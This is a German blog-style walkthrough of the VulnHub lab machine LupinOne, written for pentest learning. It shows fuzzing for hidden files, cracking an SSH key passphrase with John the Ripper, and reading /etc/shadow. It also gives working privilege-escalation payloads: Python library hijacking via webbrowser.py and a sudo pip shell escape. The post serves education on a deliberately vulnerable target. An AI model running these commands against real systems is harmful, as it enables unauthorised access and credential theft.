Hallo Leute,
Heute nehme ich mir LupinOne von VulnHub vor. Ich würde sie als Easy-Medium einstufen. Sie ist perfekt für alle, die ihre Pentesting-Fähigkeiten verbessern wollen.
In diesem Artikel zeige ich euch, wie ich bei diesem Pentest vorgehe. Ich werde alle Befehle erklären und dabei auch meine Gedanken erläutern.
Wir sollten wissen, dass bei einem Pentest nach der Plannung und der Festlegung von Scopes mit der eigentlichen Arbeit beginnen. Mit der Planung meine ich, dass wir erstmal festlegen, was getestet wird, welche Systeme zum Scope gehören, welche Methoden erlaubt sind und welche Regeln während des Pentests gelten.
Super, dann lege ich los!
- Erstmal soll ein Netzwerkscanning durchgeführt werden, damit ich die erreichbare Systeme, offene Ports und laufende Dienste finden kann.
- Danach die Enumeration, also die Informationsbeschaffung. Hier schaffe ich mir genauere Informationen über die gefundenen Systeme und Dienste.
- Anschließend suche ich nach möglichen Schwachstellen durch die Ausgaben bzw. die Ergebnisse von automatisierten Tools (z.B. nmap, dirsearch, nikto, etc..) und Manuelle analyse des Systems. Diese werde ich dann bewerten, also wie gefährlich eine gefundene Schwachstelle tatsächlich ist.
- Dann werde ich die gefundene Schwachstelle ausnutzen (Exploitation) -> Somit erkenne ich, ob tatsächlich Zugriff auf das Zielsystem möglich ist.
- Wenn ich den ersten Zugriff auf das System erhalte, kann ich danach eine Privilege Escalation durchführen, damit ich prüfen kann, ob höhere Rechte erreicht werden können.
- Am Ende ganz klar werde ich die Ergebnisse in einem Pentest-Bericht dokumentieren und passende Gegenmaßnahmen vorschlagen.
So läuft ein Pentest ab :->

Phase 1: Netzwerk-Scanning
Als Erstes finde ich die IP des Zielsystems in meinem Netzwerk. Ganz klassisch habe ich dafür netdiscover verwendet:
netdiscover -r 192.168.146.0/24

Für dich zur Info: Netdiscover sendet ARP-Anfragen an alle Geräte in meinem Subnetz und zeigt mir an, welche Geräte antworten.
Mein Zielsystem ist 192.168.146.129
Jetzt scanne ich das Ziel mit nmap, um alle offenen Ports und Dienste zu identifizieren bzw. zu erkennen:
nmap -sC -sV 192.168.146.129
-sC-> Standard-Scripts ausführen -> Also zusätzliche Abfragen, um mehr Infos zu sammeln.-sV-> Versionen der Dienste erkennen

Aus dem Nmap-Scan erkenne ich 2 Ports offen:
| Port | Dienst | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.4p1 Debian 5 |
| 80 | HTTP | Apache httpd 2.4.48 (mit /~myfiles) |
Im Normalen Fall untersuche ich bei Easy-Fruits den Webserver (Port 80). In diesem Artikel gehe ich aber die offene Ports nacheinander durch.
Phase 2: Enumeration
SSH (Port 22)
Ich liste mein Vorgehensweise am besten in Stichpunkte:
- Ich greife den Banner ab, damit ich die SSH-Version sehen kann -> nc -nv 192.168.146.129 22
- Anschließend wenn ich die SSH-Version erhalten, prüfe ich die Version nach bekannten Schwachstellen (z.B. google oder searchsploit).
- Ich prüfe, ob Passwort-Login erlaubt ist -> nmap -p 22 –script ssh-auth-methods –script-args=“ssh.user=root“ 192.168.146.129
- Später, wenn es wirklich ausdrücklich erlaubt ist und ich registrierte Benutzernamen auf dem Zielsystem gefunden habe, werde ich mit einer kleinen Passwortliste die SSH-Zugangsdaten bruteforcen.
So, dann lege ich los…
Banner abgreifen
nc -nv 192.168.146.129 22
# oder
nmap -sV -p 22 192.168.146.129

Ganz einfach -> Ich verbinde mich mit dem Port 22. Der Server schickt sofort sein Banner zurück.
Was habe ich hier?
- OpenSSH 8.4p1 -> SSH-Version
- Debian 5 -> Betriebssystem.
Exploits suchen
Ich suche die lokale Exploit-Datenbank nach bekannten Schwachstellen für die SSH-Version
searchsploit OpenSSH 8.4p1

Für diese genaue Version gibt es keinen öffentlichen Exploit, dann versuche ich für die Hauptversion? ok, auch nichts, dann nur die Version 8 ? ok, also ich habe 3 Treffer aber nicht relevant für 8.4p1.
Google-Suche:
exploit OpenSSH 8.4p1
Auth-Methoden prüfen
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.146.129 -oN nmap_192.168.146.129.txt
Hier frage ich den Server: „Hey, darf sich der Benutzer root mit einem Passwort einloggen?“

Der Server Antwortet:
password-> Ich kann Passwörter raten oder stehlen! -> Ich suche nach Credentials (SQL-Injection, Backups, etc.).publickey-> Ich brauche einen SSH-Key -> Also ich muss einen SSH-Key finden.
Benutzernamen sammeln
- Dieser Schritt folgt später im Verlauf der Enumeration…
Bonus: Algorithmen prüfen
Für ein Pentest wäre noch gut zu wissen, ob der Server alte Verschlüsselungs-Algorithmen unterstützt?
nmap -p 22 --script ssh2-enum-algos 192.168.146.129
Damit frage ich den Server : „Welche Verschlüsselungs-Algorithmen unterstützt du?“

Ich sehe hier, dass die Algorithmen modern und sicher sind :->, dann lege ich mit dem Webserver los.
Webserver (Port 80)
Ich öffne den Link http://192.168.146.129 in meinem Browser und schaue ich mir erstmal die Webseite an!

Nichts interessantes, Quellcode? auch nichts! nicht wirklich Supi :-<
Ich schaue mir die robots.txt…

Ahm, interessant. Die robots.txt verrät mir schon einen interessanten Ordner: /~myfiles.
Ich öffne die Webseite im Browser:

Ein 404-Fehler? das ist aber verdächtig! Der Server verrät, dass der Ordner ~myfiles existiert, aber keine index.html hat.
Ok!, ich schaue mir den Quelltext an (Rechtsklick -> Seitenquelltext anzeigen) und finde einen Kommentar:
<!-- you can do it, keep trying -->
Ahm? ich soll weitersuchen…
Also, wäre Fuzzing mit ffuf was? Da der Ordner ~myfiles existiert, aber nichts anzeigt, suche ich mit ffuf nach versteckten Verzeichnissen:
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.146.129/FUZZ'
-c-> Farbige Ausgabe-w-> Wortliste-u 'http://192.168.146.129/FUZZ'-> DasFUZZwird durch die Wörter der Liste ersetzt

Ahm… Auch nichts interessantes. Ich habe mit die einzelnen hier gelisteten Ordner angeschaut, aber nichts relevantes…
Moment aber, bei ~myfile stand eine Tilde ~ davor? also wie wäre es, wenn ich mal beim Fuzzing ebenfalls eine Tilde vor FUZZ setze?
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.146.129/~FUZZ'

Unglaublich, es hat funktioniert :->, ich habe ein Verzeichnis names secret
http://192.168.146.129/~secret/
Ich schaue mir das secret-Verzeichnis an und finde einen Hinweis! Hier wird von einem SSH-Private-Key für den Benutzer icex64 geprochen! Its hided somewhere here? crack my passphrase with fasttrack??, ahm, ok!

Also suche ich mit ffuf nach versteckten Dateien hier: -> nachdem ich mehrere Wordliste ausprobiert habe, hat diese funktioniert!
ffuf -c -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://192.168.146.129/~secret/FUZZ' -fc 403 -e .txt,.html
-ic-> Ignoriere Kommentare in der Wortliste-fc 403-> Filtere alle Antworten mit Statuscode 403-e .txt,.html-> Suche auch nach Dateien mit diesen Endungen

Ich habe nichts gefunden :-<, obwohl ich mehrere Wortliste ausprobiert habe! Ich habe kurz im Internet recherchiert und fand heraus, dass man ein Punkt . vor dem FUZZ setzen soll. Ich versuche es dann :<
ffuf -c -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u 'http://192.168.146.129/~secret/FUZZ' -fc 403 -e .txt,.html
Wie ihr im oberen Bild sieht, da ist eine Datei namens mysecret.txt
http://192.168.146.129/~secret/.mysecret.txt

- Ahm, was ist das? Nur Buchstaben, also kein Sonderzeichen oder ähnlich, nur alphanumerisch!
- Ich habe in diesem Fall automatische Online-Tools (CyberChef mit Magic Option) für die Erkennung dieses Hashes verwendet. Für ein CTF ist das ok, aber für ein Pentest ist das garnicht erlaubt. Es gibt aber CyberChef mit einer Offline-Version. Diese kannst du herunterladen und über Docker laufen lassen :->. Für diesen CTF würde ich das Online-Version nutzen, daher:

Also Base58-kodiert :-> ich werde ihn dekodieren. Dafür nutze ich irgendeinen Online-Base58-Decoder oder Offline mit Python (base58-Lib)
import base58
data = base58.b58decode(data_encoded)
print(data)
- Nach dem Dekodieren erhalte ich den echten SSH-Private-Key. Ich speichere ihn als Datei
sshkeyauf meinem Kali-Rechner.

Phase 3: Exploitation
Da ich das SSH-Private-Key habe, kann ich mich per SSH einloggen

Genau das! ich habe es mit Absicht diesen Fehler gemacht. Passt auf!
- Zur Info für dich: SSH akzeptiert Keys nur, wenn sie nicht für andere lesbar sind.
chmod 600setzt die richtigen Rechte. - Daher soll diesen Befehl ausgeführt werden chmod 600 sshkey.txt
Auch wichtig, für das Einloggen brauche ich das Passphrase! -> erinnert ihr euch an crack my passphrase with fasttrack?? -> Dann lege ich los…
Da der SSH-Key passwortgeschützt ist, verwende ich ssh2john, um den Hash zu extrahieren:
ssh2john sshkey > hash
ssh2john-> Konvertiert den SSH-Key in ein Format, das John the Ripper versteht> hash-> Speichert den Hash in eine Datei
Super, jetzt knacke ich den Hash mit John the Ripper:
wget https://raw.githubusercontent.com/drtychai/wordlists/refs/heads/master/fasttrack.txt
john --wordlist=./fastrack.txt hash

Jooo, again! Das Passwort ist P@55w0rd!.
Jetzt habe ich alles, was ich brauche:
- Benutzername:
icex64 - SSH-Key:
sshkey - Passphrase:
P@55w0rd!
ssh -i sshkey icex64@192.168.146.129

Joha! Ich bin drin! Ich habe jetzt eine Shell als Benutzer icex64. Jetzt kommt die nächste Phase und zwar privilege Escalation.
Phase 4: Privilege Escalation
Nachdem ich einen ersten Zugang zum System habe (z.B. als tomcat, icex64, randy oder dstevens), geht es jetzt darum, Root zu werden. Das nennt man Privilege Escalation.
Meine Vorgehensweise:
- Erstmal brauche ich eine Orientierung -> Wer bin ich auf dem System? Wo bin ich auf dem System?
whoami # Als welcher Benutzer läuft ich?
id # Welche Gruppen und Rechte habe ich?
hostname # Wie heißt der Rechner?
pwd # In welchem Verzeichnis bin ich?
uname -a # Welches Betriebssystem und Kernel?
cat /etc/os-release # Welche Distribution?
- Danach sammle ich Grundlagende System-Infos -> Betriebssystem? Kernel? vorhandenen Benutzern und Gruppen?
ls /home # Welche Benutzer gibt es?
cat /etc/passwd # Alle Benutzer (auch Systembenutzer)
cat /etc/group # Alle Gruppen
cat /etc/crontab # Geplante Aufgaben (Cronjobs)
ls -la /etc/cron.* # Cron-Verzeichnisse
env # Umgebungsvariablen (oft mit Passwörtern!)
cat /etc/hosts # Host-Einträge
- Anschließend überprüfe ich meine Sudo-Rechte -> Was darf ich als Root?, also welche Befehle ich eventuell mit höheren Berechtigungen ausführen darf
sudo -l
z.B.
- (ALL) ALL -> Ich darf alles als Root ausführen!
- (ALL) NOPASSWD: /usr/lib/python3.8 /home/randy/randombase64.py -> Ich darf ein bestimmtes Skript als Root ausführen.
finde ich kein Sudo? dann finde ich andere Wege -> SUID, Cron, Kernel-Exploit, etc..
- Danach suche ich nach SUID-Binaries -> also welche Programme mit erhöhten Rechten bzw. Root ausgeführt werden.
- Zur Infos für dich: SUID-Binaries sind Programme, die immer als Root ausgeführt werden. Egal, wer sie startet. Wenn ich eine SUID-Binary finde, die ich manipulieren kann, bin ich Root.
- Wenn ich was interessantes finde, schaue ich auf GTFOBins nach, ob die Binary ausnutzbar ist.
- Ich prüfe zusätzlich Cronjobs, damit ich erkennen kann, ob bestimmte Aufgaben regelmäßig mit Root-Rechten laufen. Wenn ich eine Datei ändern kann, die von einem Cronjob ausgeführt wird, kann ich Root werden.
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron
- Ich suche dann nach möglichen Schwachstellen, z.B. veralteten Diensten, unsicheren Konfigurationen oder gespeicherten Zugangsdaten.
# Nach Backup-Dateien suchen
find / -name "*.bak" 2>/dev/null
find / -name "*.old" 2>/dev/null
# Nach Konfigurationsdateien mit Passwörtern
grep -r "password" /home 2>/dev/null
grep -r "passwd" /etc 2>/dev/null
# Nach beschreibbaren Dateien
find / -writable -type f 2>/dev/null
find / -writable -type d 2>/dev/null
# Nach Passwort-Hashes
cat /etc/shadow 2>/dev/null
Super, es gibt noch weitere Wege für Privilege Escalation. Ich werde sie aber nicht alle in diesem Artikel auflisten. Diese kann ich später in einem separaten Artikel machen :->
Ich wurde aber gerne diesen Prozess automatisiert durchführen und zwar mit linpeas, indem ich linpeas auf das Zielsystem hochlade und zwar wie folgt:
- Ich starte ein Python http server

- dann lade ich das linpeas über get auf das Zielsystem

Auf dem Zielsystem:
wget 192.168.1.3/linpeas.sh
chmod 777 linpeas.sh
./linpeas.sh

Das Tool gibt mir viel Infos zurück, bei einem Pentest gehe ich diese sehr detailliert durch.
ich teste mal sudo -l

Ach, da habe ich was! Das Skript heist.py kann als root ohne passwort ausführt werden.

Das Skript heist.py importiert die Bibliothek webbrowser. Wenn ich diese Bibliothek manipuliere, kann ich Root werden.
Diese Bibliothek ist unter der Standard Python-Path zu finden und zwar unter /usr/lib/ und das Tool linpeas hat es mir zurückgegeben:

Ich öffne die webbrowser.py mit nano und füge folgenden Code ein:
import os
os.system("/bin/bash")

Wenn das Skript heist.py die Bibliothek webbrowser importiert, wird stattdessen mein Code ausgeführt und zwar mit den Rechten von arsene.
So, jetzt kommt der Befehl, mit dem ich mein Ziel erreiche und zum Benutzer arsene werde.
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

Jetzt bin ich Benutzer arsene, ich prüfe nochmal meine Sudo-Rechte:
sudo -l

Wow! Ich darf pip als Root ausführen und zwar auch wie davor ohne Passwort!
Ich nutze die GTFOBins-Anleitung für pip:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
Erklärung:
TF=$(mktemp -d)-> Erstelle ein temporäres Verzeichnisecho "..." > $TF/setup.py-> Schreibe ein bösartigessetup.py, das eine Shell startetsudo pip install $TF-> Führepip installals Root aus – und dassetup.pywird mit Root-Rechten ausgeführt!
Ich habe eine Root-Shell!

Wenn es euch freude macht, könnt ihr das Root-Flag lesen :->
cd /root
cat root.txt

💡 Notes to take…
| Lektion | Beschreibung |
|---|---|
| Enumeration ist der Schlüssel | Ohne die 404-Seite und den Kommentar hätte ich nie den secret-Ordner gefunden. |
| Fuzzing ist mächtig | Mit ffuf habe ich versteckte Verzeichnisse und Dateien gefunden. |
| Base58-Dekodierung | Der SSH-Key war kodiert – ich musste ihn erst dekodieren. |
| ssh2john + John | Der SSH-Key war passwortgeschützt – mit John habe ich ihn geknackt. |
| Python Library Hijacking | Ich konnte ein Skript manipulieren, das eine Bibliothek importiert. |
| Pip Privilege Escalation | Mit sudo pip install konnte ich Root werden. |
